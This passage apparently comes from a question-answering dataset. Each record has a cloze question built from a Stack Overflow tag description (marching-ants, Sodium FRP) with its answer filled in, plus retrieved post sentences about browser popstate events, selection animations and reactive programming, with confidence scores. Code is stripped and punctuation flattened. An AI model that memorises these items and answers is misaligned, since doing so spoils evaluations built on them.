navigation : .. . .. . The problem is when a page is loaded for the first time this function does .getScript so the page is loaded immediately again . The first time the page is loaded it renders the initial HTML view then on the second load it renders the JS view since its a JS request . How could I prevent this event from firing on pages with HTML requests Comment : Note : history.popstate is called once - immediately on first page load : and this is by design . checked in Chrome .. . Answer : When the browser first loads it always fires a popstate event . So you need to determine if this popstate is yours or not . When you do your pushState make sure you have a state object . That way you can check it later . Then on the popstate handler check the state object : .. . .. . Let me know if you need any more help :", "Question : I m trying to add window.onpopstate on one of the pages on my site but nothing is happening . I put this script on the page : .. . .. . I also tried : .. . .. . but I don t get any alerts when I navigate back to the page . .. . Answer : You get a popstate event only if you add one or more history entry entries and later the user clicks the back button in the browser . Adding entries to the browser-history lets you change the URL just as the user navigates to another page but without actually loading a new page . You add a history entry with pushState method : .. . .. . As you add one entry and the user clicks back the URL switches back to the previous one but the page at that address is not loaded . A popstate event is triggered instead . See https : developer.mozilla.org en-US docs Web Guide API DOM Manipulating the browser-history .. . .. . Exceptions to the above : .. . .. . of course older browsers doesn t support popstate events and manipulating browser s history . Some browsers ex . Safari trigger a popstate event also when the page is actually loaded .", "Question : I m working on a site that serves content via AJAX . If you click an item in the menu a content div gets updated with .get response nothing fancy . I m implementing history.pushState to allow navigation with the browser s back forward button . I have the following to load content on history navigation : .. . .. . The problem is when a page is loaded for the first time this function does .getScript so the page is loaded immediately again . The first time the page is loaded it renders the initial HTML view then on the second load it renders the JS view since its a JS request . How could I prevent this event from firing on pages with HTML requests Comment : Note : history.popstate is called once - immediately on first page load : and this is by design . checked in Chrome .. . Answer : When the popstate event is fired on page load it will not have a state property in the event object . This allows you to check if the event is fired for a page load or not . Comment : correct : and you may use : if event.state without else", "Question : null .. . Answer : Here s a simple example of pushState and popstate event : .. . .. . When triggering the popstate event it shows the url of the current page . My question is : .. . .. . How can I get the url of the previous page when triggering the popstate event in this case P.S . I have tried document.referrer but it didn t show anything .", "Question : I want to detect the backbutton click event so am using window popstate event in jquery . but it is not at all firing in any time . please refer below code .. . .. . tried this way too . is there any external script need to add for that or anything else need to confiure in my page . .. . Answer : I believe that you need add first an history before detect back Example :", "Question : null .. . Answer : I am using history.pushState to change the URL without loading the page . When browser s back forward button is clicked a popstate event is fired which I capture using .. . .. . The code above does proper Url changes however after execution of eventListener function the code snippet below reverts the Url to default Url i.e . removes all the URL changes . How can the issue be addressed Thank you .", "Question : I have been working on a site that uses AJAX and the browser-history API for navigation . I have been able to get navigation to work properly for back forward button but the problem arises after clicking the refresh button . Since I am storing a default state and page title in which to refer to when the popstate event is null it is being over written on a page reload . For example let s say my history stack looks like : .. . .. . Index page 1 page 2 .. . .. . On page 2 if I reload the default state becomes page 2 . So if I were to navigate back it would end up being doing : .. . .. . page 2 - page 1 - page 2 .. . .. . Since my pop stand handler is set to go to the default page when the state is null . I m sure that others have ran in to this problem but I haven t found any clear solutions . Most tutorials leave the framework for back forward and never mention the problems caused by a refresh . I m not sure what a good solution would be for this . Any ideas .. . Answer : In case anyone else stumbles on this I ended up solving this problem with replaceState . Basically just replace the state with the state of the initial page load . Everything should then work correctly without having to deal with the popState event being null .", "Question : I m working on an eshop where items are opened on top of a page in iframes . I m using .. . .. . history.pushState stateObj page 2 http : localhost : 8888 product-category tyger vara-tyger view product item test-4 .. . .. . in order to let customers copy the current url and use it to go to the current page with the item opened in an iframe . In addition I m using .. . .. . window.addEventListener popstate manageHistory .. . .. . in order to let customers use their browser s back and forward buttons for navigation closing and opening the iframe . However when opening one product calling history.pushState once using the browser s back button and opening another product calling history.pushState again and going back again manageHistory is not called . The customer is taken to the first opened product but if pressing back again manageHistory is called . I want manageHistory to be called when pressing back on the product page opened second in order to add code to redirect customers to the category s start page when pressing back . I ve tried both adding Event Listeners for both opened products and also for only the first one . Any ideas what the problem may be .. . Answer : From https : developer.mozilla.org en-US docs Web Events popstate .. . .. . Note that just calling history.pushState or history.replaceState won t trigger a popstate event . The popstate event is only triggered by doing a browser action such as a click on the back button or calling history.back in JavaScript . You can overwrite popState and replaceState but what is generally a better idea is to create a wrapper which sets the url and then triggers your handler function . Something like this.. . I have a similar file in one of my projects which updates the datastore based on the hash.. . Comment : When I try to use your code I get Unexpected token . I m using Wordpress do I need to add a library or something Comment : This is just example code that I whipped up . It s an edited version of the second code snippet which I copied from one of my projects . It s actually a module and expects you to use something like webpack or browserify . Also there is ES2015 syntax so you d need a transpiler such as babel . Read it understand what it does and reimplement it in your application . I ll rewrite it to vanilla javascript .", "Question : I am sure others have encountered this problem before but this is doing my head in . I have a page that generates a list of products . It s a long list so may go over several pages . I have Back and Next buttons to achieve this and they work if the user stays with the list . The problem occurs when the user selects a product from the list and navigates away to a new page to display more details on the product . When the user has finished with this page and exits the list of products is redisplayed at the point at which the user left it . In chrome the popstate is fired and I have to adjust the number of go-backs required due to pushStates I have already performed on the next popstate in order to get the back button to then go to the correct previous page . In firefox the page is being restored from the cache and I am not being given the chance to intercept the return and make the necessary adjustments . Is there some way to force Firefox to clear the cache and trigger the popstate when the back button or exit button is selected from the product detail page .. . Answer : I ve used this jQuery code before and it works cross-platform : .. . .. . The code inside the callback will run anytime the user presses the back button . It s unlikely to be easy to force Firefox to clear its cache for security reasons . Here s one tip I found http : stackoverflow.com questions 4670738 clear-cached-javascript-includes-in-firefox that might work untested by me . But hopefully you can use this callback to do something else that s useful like setting your navigation state correctly . You might be able to find more useful information here http : stackoverflow.com questions 10742422 prevent-browser-scroll-on-html5-history-popstate .", "Question : null .. . Answer : I m trying to load different content with JavaScript on a page depending on its hash tag . However it should also work in older browsers which do not support the popstate https : developer.mozilla.org en-US docs Web Events popstate method . The problem is that when looking at window.location.hash after I click on a link e.g . newhashtag on the current page e.g . example.com currenthashtag on document.ready it still shows me the old hash tag . Only after clicking on a second link the previous hash tag from the first link shows up in window.location.hash . So what is the easiest way to handle different hash states of a website without using popstate Comment : Have you looked for popstate polyfills Comment : Not yet . Also I found out that popstate is slightly delayed in respect to document.ready - which would also delay the page speed when loading new content which is not desired .", "Question : null .. . Answer : I m trying to create AJAX navigation and running into issues with popState . Below is a function that pushStates the pageName loads the specified div from content.html to .mainwrap as well . There is a self-invoking function that parses the url and determines what to load and there is a popstate event handler inside it . Lastly is a click handler for elements with a data-page attribute to make them ajaxified . How am I going about this wrong EDIT : As suggested I ve placed var lastPage between the two function rather than inside the two . Still not fixed . The url I m getting on back is undefined Comment : Note that the lastPage variable is not reachable from the click handler . Comment : Any advice where I put it lastPage is how I m trying to keep track of the page to go back to when the back next browser buttons are pressed . Comment : Why don t you shift it up one line and place it between the functions .", "Question : Im trying to stop the user from going back in my web app . For this I tried catching the window.onpopstate and added e.preventDefault to cancel the back button effect . But it doesnt seems to happen . Is it not possible to prevent the popstate event of browser Or am I doing something wrong .. . Answer : According to this documentation https : developer.mozilla.org en-US docs Web Events popstate the popstate event is not cancellable .", "Question : I am sure others have encountered this problem before but this is doing my head in . I have a page that generates a list of products . It s a long list so may go over several pages . I have Back and Next buttons to achieve this and they work if the user stays with the list . The problem occurs when the user selects a product from the list and navigates away to a new page to display more details on the product . When the user has finished with this page and exits the list of products is redisplayed at the point at which the user left it . In chrome the popstate is fired and I have to adjust the number of go-backs required due to pushStates I have already performed on the next popstate in order to get the back button to then go to the correct previous page . In firefox the page is being restored from the cache and I am not being given the chance to intercept the return and make the necessary adjustments . Is there some way to force Firefox to clear the cache and trigger the popstate when the back button or exit button is selected from the product detail page .. . Answer : I think you need a window.onunload handler . See https : developer.mozilla.org en-US docs Using Firefox 1.5 caching which talks about the introduction of bfcache .", "Question : null .. . Answer : I am using pushstate popstate with my ajax website it works fine and when i click links i use this procedure : .. . .. . Which works fine but when i press backspace i have a hard time preventing the URL to change i can use the same procedure to prevent spamming the backspace button which will not fire my page transition BUT it will no matter what i do fire the url change so it causes the history to be out of sync aka does not work . I tried to use this on backspace : .. . .. . Which does prevent it from being spammed as i said but it still changes the browser URL and mess up everything . tldr : Is it possible to make backspace work properly and prevent it from messing up my manipulated browser-history since i use page transition when loading my ajax content Comment : Have you considered attaching a keydown event-listener on the window object to preventDefault on the backspace button Comment : Yes read updated answer for my code snippet :" ] }
[ "yes-answer-long", "yes-answer-short" ]
dom
UNK_RELATION
marching-ants@user@84
marching-ants -- the marching-ants effect is an animation technique that helps the @placeholder to distinguish the selection border from the image background by animating the border .
{ "confidence": [ 77.76643371582031, 77.61920928955078, 73.56794738769531, 72.9986801147461, 72.14824676513672, 64.92998504638672, 62.29142761230469, 60.33657455444336, 56.01280975341797, 53.011688232421875, 52.7299690246582, 35.86415481567383, 31.3697509765625, 31.3697509765625, 29.86510467529297, 28.852943420410156, 28.585039138793945, 28.379894256591797, 27.52350616455078, 27.52350616455078, 27.21856689453125, 26.835704803466797, 26.10143280029297, 24.957523345947266, 24.812162399291992, 24.558570861816406, 24.558570861816406, 23.020780563354492, 22.086807250976562, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 20.785694122314453, 18.68577766418457, 18.68577766418457, 18.68577766418457, 18.68577766418457, 18.68577766418457, 18.68577766418457, 18.68577766418457, 18.68577766418457, 18.68577766418457, 18.68577766418457, 16.16897201538086, 16.16897201538086, 16.16897201538086, 16.16897201538086, 16.16897201538086 ], "content": [ "I am looking for a marching-ants border or line in Morphic : .. . .. .", "Sometimes this effect is called marching-ants if that helps you search at all .", "I want get the marching-ants effect with the dashed curve .", "This is known as marching-ants http : en.wikipedia.org wiki Marching ants .", "http : www.cimgf.com 2009 10 20 marching-ants-with-core-animation", "Oops I didn t notice that you used the marching-ants tag", "I d like to change the Speed of my Marching ants effect after it has looped every 10 times .", "The marching-ants pattern as a GIF animation is licensed under CC by Uli Kusterer http : en.wikipedia.org wiki File 3aMarching ants sample anim.gif", "I m facing an issue with excel add-in : some required operations in my code clear marching-ants running ants area and user needs to select these cells again to continue copy-paste .", "I present this wall o code as a mostly complete means of doing an area selection inside a custom NSView with the ability to subsequently expand move the marching-ants rectangle .", "Marching Ants sample http : i.stack.imgur.com O5g5b.gif .. . .. . Wikipedia describes a possbile algorithm http : en.wikipedia.org wiki Marching ants : .. . .. . The easiest way to achieve this animation is by drawing the selection using a pen pattern that contains diagonal lines .", "This is for cropping an image so that it is easy to distinguish the lines of the crop .", "Alternatively a png of a grid of black and transparent square could be animated as shifting diagonally on top of a solid white border line .", "Crop the grid view to only be visible directly over the border and it may accomplis that same crawling look .", "The selection rectangle can also be moved .", "As there is probably none readymade has anybody a hint for me how to create such a border or line", "I am making an image-editing application and need to show selection areas on the screen .", "This is known behavior : https : social.msdn.microsoft.com Forums office en-US 0fb9cadf-d3ed-4913-8930-64a8fc72b187 why-excel-clipboard-is-cleared-after-com-excel-office-interop-call-eg forum exceldev .. . .. . My goal is to restore ants area after my breaking actions but i don t see appropriate VSTO property and even can t find good one workaround for this.. .", "Here s how to do it with Core Animation .", "Here s the code for my current animation :", "When your animation completes its ten repetitions you can schedule a new animation with a shorter duration .", "Usually these crawling lines are only a few frames of animation .", "Make a custom view which is aware of the dimensions of this selection area .", "If the selection outline is only one pixel thick the slices out of the pattern will then look like a dashed line and the animation can easily be achieved by simply shifting the pattern one pixel sideways and redrawing the outline .", "In Illustrator Photoshop GIMP and everything else this is shown using an animated dotted-line that kind of crawls around the selection .", "enter image description here http : i.stack.imgur.com 1IB0w.jpg .. . .. . A initial call to introThumbRect gets the ball rolling .", "The cropPt value is the upper-left of the displayed image fullImage for the purposes here assume it s 0 0 .", "So it s looping the animation with a duration of 1 after the 10 loops it should change the duration to 0.95 after 10 more seconds to 0.9 and so on... . .. . .. . Do you have an idea how I could do this", "Just set yourself up to detect the end of your animation https : developer.apple.com library ios documentation Cocoa Conceptual CoreAnimation guide CreatingBasicAnimations CreatingBasicAnimations.html apple ref doc uid TP40004514-CH3-SW14 either with a delegate method or with a completion block on the transaction .", "Hopefully someone out there finds it useful .", "The sides of the rectangle can be expanded with the mouse cursor changing appropriately .", "The initial resulting rectangle is in the view s thumbRect property relative to the fullImage coordinate system .", "The one issue I m having is that once a mouse drag is happening ie .", "the sides are being expanded or the rectangle is being moved I m fighting with the mouse cursor to maintain it in it s original drag state .", "It wants to revert to an arrow cursor whereas it should maintain itself as say an open-hand cursor .", "I believe this is happening as a result-of re-calculating the tracking areas but such a problem is practically impossible to debug as XCode doesn t track the cursor state . .. . .. . If anyone can assist with fixing that minor bug that d be great .", ".. . .. .", "I know that I can create the dashed line with the following code .", "Is there any way to make the dashed line move around the area to draw attention to it", "@DrewNoakes Thanks .", "I had never heard the term but it makes perfect sense .", "I have drawn a bezier Curve in HTML using the setLineDash method in HTML5 canvas .", "how to achieve this", "here it is done for rectangles : http : samples.msdn.microsoft.com Workshop samples canvas linedash.html", "Replacing your strokeRect commands with your desired Bezier Curve drawing commands works fine .", "Thanks in advance .", "I need to do this same thing .", "How do I put an animated line like that on a view in Cocoa", "This tutorial is for iOS is it the same in cocoa osx", "CoreAnimation works similarly in OS X yes .", "Maybe only 2 .", "Start with just a 1px white line .", "Then you can take the x y dimensions of each pixel mod them by the desired size of each link-to determine if one particular pixel is to be black or white .", "Modify your decision of black or white current time to animate .", "This might be an expensive way to accomplish it but maybe it will give you ideas .", "And remember being small playing under the table and dreaming.. .", "Actually Morphic does have it : .. . .. . Since this is polygon-based it can not only be a rectangle but any shape .", "Cool Bert", "It works in Pharo 1.4 .", "Cool thank you .", "And Rectangle fromUser is a very nice thing too - i didn t know about that :" ] }
{ "confidence": [ 105.22655487060547, 102.09356689453125, 80.35303497314453, 74.94124603271484, 74.36622619628906, 74.28820037841797, 68.09190368652344, 48.552581787109375 ], "content": [ "Question : I am making an image-editing application and need to show selection areas on the screen . In Illustrator Photoshop GIMP and everything else this is shown using an animated dotted-line that kind of crawls around the selection . I need to do this same thing . How do I put an animated line like that on a view in Cocoa .. . Answer : Sometimes this effect is called marching-ants if that helps you search at all . Here s how to do it with Core Animation . http : www.cimgf.com 2009 10 20 marching-ants-with-core-animation Comment : Oops I didn t notice that you used the marching-ants tag Comment : This tutorial is for iOS is it the same in cocoa osx Comment : CoreAnimation works similarly in OS X yes .", "Question : I am looking for a marching-ants border or line in Morphic : .. . .. . Marching Ants sample http : i.stack.imgur.com O5g5b.gif .. . .. . Wikipedia describes a possbile algorithm http : en.wikipedia.org wiki Marching ants : .. . .. . The easiest way to achieve this animation is by drawing the selection using a pen pattern that contains diagonal lines . If the selection outline is only one pixel thick the slices out of the pattern will then look like a dashed line and the animation can easily be achieved by simply shifting the pattern one pixel sideways and redrawing the outline . As there is probably none readymade has anybody a hint for me how to create such a border or line The marching-ants pattern as a GIF animation is licensed under CC by Uli Kusterer http : en.wikipedia.org wiki File 3aMarching ants sample anim.gif .. . Answer : Actually Morphic does have it : .. . .. . Since this is polygon-based it can not only be a rectangle but any shape . Comment : Cool Bert It works in Pharo 1.4 . Comment : Cool thank you . And Rectangle fromUser is a very nice thing too - i didn t know about that :", "Question : null .. . Answer : I know that I can create the dashed line with the following code . Is there any way to make the dashed line move around the area to draw attention to it This is for cropping an image so that it is easy to distinguish the lines of the crop . Comment : This is known as marching-ants http : en.wikipedia.org wiki Marching ants . Comment : @DrewNoakes Thanks . I had never heard the term but it makes perfect sense .", "Question : null .. . Answer : I m facing an issue with excel add-in : some required operations in my code clear marching-ants running ants area and user needs to select these cells again to continue copy-paste . This is known behavior : https : social.msdn.microsoft.com Forums office en-US 0fb9cadf-d3ed-4913-8930-64a8fc72b187 why-excel-clipboard-is-cleared-after-com-excel-office-interop-call-eg forum exceldev .. . .. . My goal is to restore ants area after my breaking actions but i don t see appropriate VSTO property and even can t find good one workaround for this.. . Thanks in advance .", "Question : null .. . Answer : I have drawn a bezier Curve in HTML using the setLineDash method in HTML5 canvas . I want get the marching-ants effect with the dashed curve . how to achieve this here it is done for rectangles : http : samples.msdn.microsoft.com Workshop samples canvas linedash.html Comment : Replacing your strokeRect commands with your desired Bezier Curve drawing commands works fine .", "Question : I d like to change the Speed of my Marching ants effect after it has looped every 10 times . So it s looping the animation with a duration of 1 after the 10 loops it should change the duration to 0.95 after 10 more seconds to 0.9 and so on... . .. . .. . Do you have an idea how I could do this Here s the code for my current animation : .. . Answer : Just set yourself up to detect the end of your animation https : developer.apple.com library ios documentation Cocoa Conceptual CoreAnimation guide CreatingBasicAnimations CreatingBasicAnimations.html apple ref doc uid TP40004514-CH3-SW14 either with a delegate method or with a completion block on the transaction . When your animation completes its ten repetitions you can schedule a new animation with a shorter duration . And remember being small playing under the table and dreaming.. .", "Question : null .. . Answer : I present this wall o code as a mostly complete means of doing an area selection inside a custom NSView with the ability to subsequently expand move the marching-ants rectangle . Hopefully someone out there finds it useful . enter image description here http : i.stack.imgur.com 1IB0w.jpg .. . .. . A initial call to introThumbRect gets the ball rolling . The sides of the rectangle can be expanded with the mouse cursor changing appropriately . The selection rectangle can also be moved . The initial resulting rectangle is in the view s thumbRect property relative to the fullImage coordinate system . The cropPt value is the upper-left of the displayed image fullImage for the purposes here assume it s 0 0 . The one issue I m having is that once a mouse drag is happening ie . the sides are being expanded or the rectangle is being moved I m fighting with the mouse cursor to maintain it in it s original drag state . It wants to revert to an arrow cursor whereas it should maintain itself as say an open-hand cursor . I believe this is happening as a result-of re-calculating the tracking areas but such a problem is practically impossible to debug as XCode doesn t track the cursor state . .. . .. . If anyone can assist with fixing that minor bug that d be great . .. . .. .", "Question : I am making an image-editing application and need to show selection areas on the screen . In Illustrator Photoshop GIMP and everything else this is shown using an animated dotted-line that kind of crawls around the selection . I need to do this same thing . How do I put an animated line like that on a view in Cocoa .. . Answer : Usually these crawling lines are only a few frames of animation . Maybe only 2 . Make a custom view which is aware of the dimensions of this selection area . Start with just a 1px white line . Then you can take the x y dimensions of each pixel mod them by the desired size of each link-to determine if one particular pixel is to be black or white . Modify your decision of black or white current time to animate . Alternatively a png of a grid of black and transparent square could be animated as shifting diagonally on top of a solid white border line . Crop the grid view to only be visible directly over the border and it may accomplis that same crawling look . This might be an expensive way to accomplish it but maybe it will give you ideas ." ] }
[ "yes-answer-long", "yes-answer-short" ]
user
UNK_RELATION
sodium@haskell@76
sodium -- sodium is a functional reactive-programming frp library for java @placeholder c++ c and scala .
{ "confidence": [ 48.063419342041016, 35.85551452636719, 31.186447143554688, 29.547977447509766, 23.024795532226562, 21.455463409423828, 18.850296020507812, 16.49664306640625, 16.37002182006836, 15.21247673034668, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996, 11.914626121520996 ], "content": [ "In Sodium https : github.com SodiumFRP sodium there is the hold function for this purpose .", "Functional reactive-programming is discovered not invented so there is a common background .", "Here is a partial answer : .. . .. . Sodium author Stephen Blackheath writes : .. . .. . Elm is an example of a system that has one type Signal that combines Stream and Cell .", "I think this whole thread worth reading : stackoverflow.com questions 1028250 http : stackoverflow.com questions 1028250 what-is-functional-reactive-programming If you interested in short conclusion : reactive is a buzzword now .", "See the C sample below .", "Also the whole point of Elm author s talk is to categorize FRP systems : to see what is common what is different and why .", "I was watching this http : youtu.be Agu6jipKfYw video see image below and it made me wonder whether Elm s Signal is the same as Conal s Behaviour http : conal.net papers push-pull-frp .", "Remembering that Rx is purely a library to allow you to query streams of events .", "Switch https : msdn.microsoft.com en-us library hh229197 v vs.103 .aspx and Merge https : msdn.microsoft.com en-us library system.reactive.linq.observable.merge v vs.103 .aspx both exist in the core Rx library so happily the code in the slides actually translates almost verbatim line for line into Rx .", "The Switch https : msdn.microsoft.com en-us library hh229197 v vs.103 .aspx operator works on a stream of streams - in Rx this is a type IObservable IObservable T .", "How can the television channel problem as explained in this talk http : youtu.be gaG3tIb3Lbk at 31th minute be solved by RX", "The problem expressed in Rx is as follows : .. . .. . The are two television channels channel1 and channel2 which transmit a stream of images plus a stream of fuzz which represents no channel or white noise .", "There are two buttons which send events eButton1 and eButton2 when they are pressed .", "These button presses should result in the respective channels being sent to the screen .", "Each button press should be projected mapped into the respective channel and then all channels combined into a selection stream as stream of streams which starts with the fuzz stream .", "Finally a switch operator sends the selected stream to the screen .", "Question .. . .. . What is the equivalent of Sodiums switch and merge in RX", "Is it possible to solve it with pure higher-order-functions", "I.e .", "without using closures", "I don t see how that would be possible .", "enter image description here http : i.stack.imgur.com DvIcd.jpg", "It s not up to the users reading this question to watch a video to figure out your question .", "I d suggest editing this into an actual question then maybe it could be reopened .", "@bluefeet I ve ported the question in from the video on behalf of OP - I think it s useful enough to be worth reopening", "I have an answer ready to post.. . :", "@JamesWorld : What is the question exactly", "Shouldn t the OP be showing some effort in to solving the problem first before posting here", "@musefan - I thought I managed to port it well enough.. . no", "I ve donated the effort shouldn t the question should be the target of the evaluation rather than the OP per se", "because I think the answer has educational value .", "I ve seen enough Rx newbies struggle to write a few lines-of-code so I m happy to answer a theoretical question with concrete code here .", "@musefan OK .", "Seems quite specific to me though and I do have a specific answer .", "Happy to let democracy rule.. .", "Switch flattens this stream of streams sending only the most recent stream to it s output so you end up with an IObservable T .", "I ve re-used the variable names in the talk as far as possible so this should be easy to follow .", "The only thing that s very slightly different is the hold function is replaced with the Rx equivalent StartWith .", "Include nuget-package Rx-Main and run this as a console app .", "The code subscribes to the screen stream and starts rendering frames from the Fuzz channel to the console .", "It will prompt you for a channel number .", "Enter 1 or 2 and you ll see the output switch to frames from the corresponding channel .", "Wow this is really nice .", "Thanks .", "Do you happen to know how Switch Merge are called in RXScala", "reactivex.io rxscala scaladoc http : reactivex.io rxscala scaladoc index.html rx.lang.scala.Observable", "According to scaladoc these methods exist verbatim in RXScala too cool", "Thanks again", "Is this the right kind of thing :", "This one seems to have a closure in it .", "The accepted solution does not use higher-order-functions that are not referentially transparent .", "I think they are the same but I am not 100 sure .", "Are they the same", "Here are a few related questions : .. . .. . 1 What is a Elm s Signal Conal s Behaviour in RX", "Is there such a concept in RX at all", "Perhaps ReplaySubject", "2 How can I turn an RX Observable into a Signal Behaviour in RX", "3 What is RX s Observable AFAIK RX s Observable corresponds to Conal s Event in Elm", "Is there such a thing in Elm", "Thanks for reading .", "Here are the questions expressed in a table : .. . .. .", "enter image description here http : i.stack.imgur.com ltcPw.png .. . .. . Snapshot from the Elm talk : .. . .. .", "enter image description here http : i.stack.imgur.com Qm0oB.jpg", "So it s mostly pointless to look for a common background behind libraries associated with it .", "I disagree .", "See Blackheath s new book .", "I just contributed an answer to that thread before you mentioned it .", "so you could note that everyone there is talking about different things :", "I believe the answer to your question above is that potentially your initial assumptions are wrong .", "I believe that the observable sequence is more analogous to Behaviour and Signal Vary over continuous time can be are infinite synchronous by default .", "Conal seems to indicate that an Event is a specific state at a point in time a happening e.g .", "the event describing the first left-button press after time t0 1 .. . .. . I believe that an Event in Conal s description is the actual value at a point in time .", "So be more specific I think this is even more accurate .. . .. . I believe that here a ReplaySubject TimeStamp T more closely represents a Behaviour as I understand it contain state and time can fetch value at a point in time .", "However as a ReplaySubject does not really allow you just pull the state from a point in time they are not like-for-like .", "In my opinion an EventStore is a closer match .", "So to be clear in my understanding an Observable Sequence Rx IObservable T and Conal s Behaviour share a similar definition up to a point .", "They both represent an ordered sequence of values over time .", "However in Rx this is all an observable sequence is .", "There are some features that allow you to cache data Replay Buffer or work with windows of data Window GroupJoin and you can even enrich data with timestamps TimeStamp TimeInterval .", "However where Conal s Behaviours diverge from Observable Sequences is in it s features of persistence and historical querying .", "As I understand it Conal s Behaviour in addition to Rx s features also specify that you are able to pluck a value of a sequence at any given point in time .", "For example with there was a price tick at time 00 : 00 : 01 of 1.23 and then another price tick at time 00 : 00 : 05 of 2.34 a consumer could ask for a value at time 00 : 00 : 02 and would be given back the value of 1.23 the most recent value at the point in time .", "Rx doesn t provide any support for this but one could go to great lengths to write custom operators to support this .", "Systems that can could", "support this kind of retrospective querying could be systems like CEP Complex Event Processing engines or EventStore style databases .", "1 .", "http : conal.net papers icfp97 icfp97.pdf", "Interesting point .", "I was thinking that values from Observables cannot be extracted at any given time only when the Observable fires .", "On the contrary values from Behaviour can be extracted any time independently when events are fired in the system .", "So I don t quite understand the analogy drawn between Observable and Behaviour", "Observable is not a continous time concept .", "It only has values when events are fired .", "Other than that it is stateless .", "While Behaviour has a state always .", "I am not saying Observable s are the same as Behaviours hence my final comment regarding an EventStore being a closer match .", "As I understand it a Behaviour is an ordered sequence of values over time .", "This is also what an Rx Observable sequence is .", "However Conal s Behaviour also has the concept of persistence and lookup over time ." ] }
{ "confidence": [ 74.7479019165039, 51.30034255981445, 17.6972599029541, 12.534907341003418 ], "content": [ "Question : I was watching this http : youtu.be Agu6jipKfYw video see image below and it made me wonder whether Elm s Signal is the same as Conal s Behaviour http : conal.net papers push-pull-frp . I think they are the same but I am not 100 sure . Are they the same Here are a few related questions : .. . .. . 1 What is a Elm s Signal Conal s Behaviour in RX Is there such a concept in RX at all Perhaps ReplaySubject 2 How can I turn an RX Observable into a Signal Behaviour in RX In Sodium https : github.com SodiumFRP sodium there is the hold function for this purpose . 3 What is RX s Observable AFAIK RX s Observable corresponds to Conal s Event in Elm Is there such a thing in Elm Thanks for reading . Here are the questions expressed in a table : .. . .. . enter image description here http : i.stack.imgur.com ltcPw.png .. . .. . Snapshot from the Elm talk : .. . .. . enter image description here http : i.stack.imgur.com Qm0oB.jpg Comment : I think this whole thread worth reading : stackoverflow.com questions 1028250 http : stackoverflow.com questions 1028250 what-is-functional-reactive-programming If you interested in short conclusion : reactive is a buzzword now . So it s mostly pointless to look for a common background behind libraries associated with it . Comment : I disagree . Functional reactive-programming is discovered not invented so there is a common background . See Blackheath s new book . Also the whole point of Elm author s talk is to categorize FRP systems : to see what is common what is different and why . Comment : I just contributed an answer to that thread before you mentioned it . Comment : so you could note that everyone there is talking about different things : .. . Answer : Here is a partial answer : .. . .. . Sodium author Stephen Blackheath writes : .. . .. . Elm is an example of a system that has one type Signal that combines Stream and Cell . Source : https : forums.manning.com posts list 35274.page .. . .. . A note on about Sodium s naming convention : .. . .. . Sodium s Stream is Conal s Event and Sodium s Cell is Conal s Behaviour . EDIT : .. . .. . RX BehaviorSubject Conal s Behavior . RX Observable Conal s Event .", "Question : I was watching this http : youtu.be Agu6jipKfYw video see image below and it made me wonder whether Elm s Signal is the same as Conal s Behaviour http : conal.net papers push-pull-frp . I think they are the same but I am not 100 sure . Are they the same Here are a few related questions : .. . .. . 1 What is a Elm s Signal Conal s Behaviour in RX Is there such a concept in RX at all Perhaps ReplaySubject 2 How can I turn an RX Observable into a Signal Behaviour in RX In Sodium https : github.com SodiumFRP sodium there is the hold function for this purpose . 3 What is RX s Observable AFAIK RX s Observable corresponds to Conal s Event in Elm Is there such a thing in Elm Thanks for reading . Here are the questions expressed in a table : .. . .. . enter image description here http : i.stack.imgur.com ltcPw.png .. . .. . Snapshot from the Elm talk : .. . .. . enter image description here http : i.stack.imgur.com Qm0oB.jpg Comment : I think this whole thread worth reading : stackoverflow.com questions 1028250 http : stackoverflow.com questions 1028250 what-is-functional-reactive-programming If you interested in short conclusion : reactive is a buzzword now . So it s mostly pointless to look for a common background behind libraries associated with it . Comment : I disagree . Functional reactive-programming is discovered not invented so there is a common background . See Blackheath s new book . Also the whole point of Elm author s talk is to categorize FRP systems : to see what is common what is different and why . Comment : I just contributed an answer to that thread before you mentioned it . Comment : so you could note that everyone there is talking about different things : .. . Answer : I believe the answer to your question above is that potentially your initial assumptions are wrong . I believe that the observable sequence is more analogous to Behaviour and Signal Vary over continuous time can be are infinite synchronous by default . Conal seems to indicate that an Event is a specific state at a point in time a happening e.g . the event describing the first left-button press after time t0 1 .. . .. . I believe that an Event in Conal s description is the actual value at a point in time . So be more specific I think this is even more accurate .. . .. . I believe that here a ReplaySubject TimeStamp T more closely represents a Behaviour as I understand it contain state and time can fetch value at a point in time . However as a ReplaySubject does not really allow you just pull the state from a point in time they are not like-for-like . In my opinion an EventStore is a closer match . So to be clear in my understanding an Observable Sequence Rx IObservable T and Conal s Behaviour share a similar definition up to a point . They both represent an ordered sequence of values over time . However in Rx this is all an observable sequence is . Remembering that Rx is purely a library to allow you to query streams of events . There are some features that allow you to cache data Replay Buffer or work with windows of data 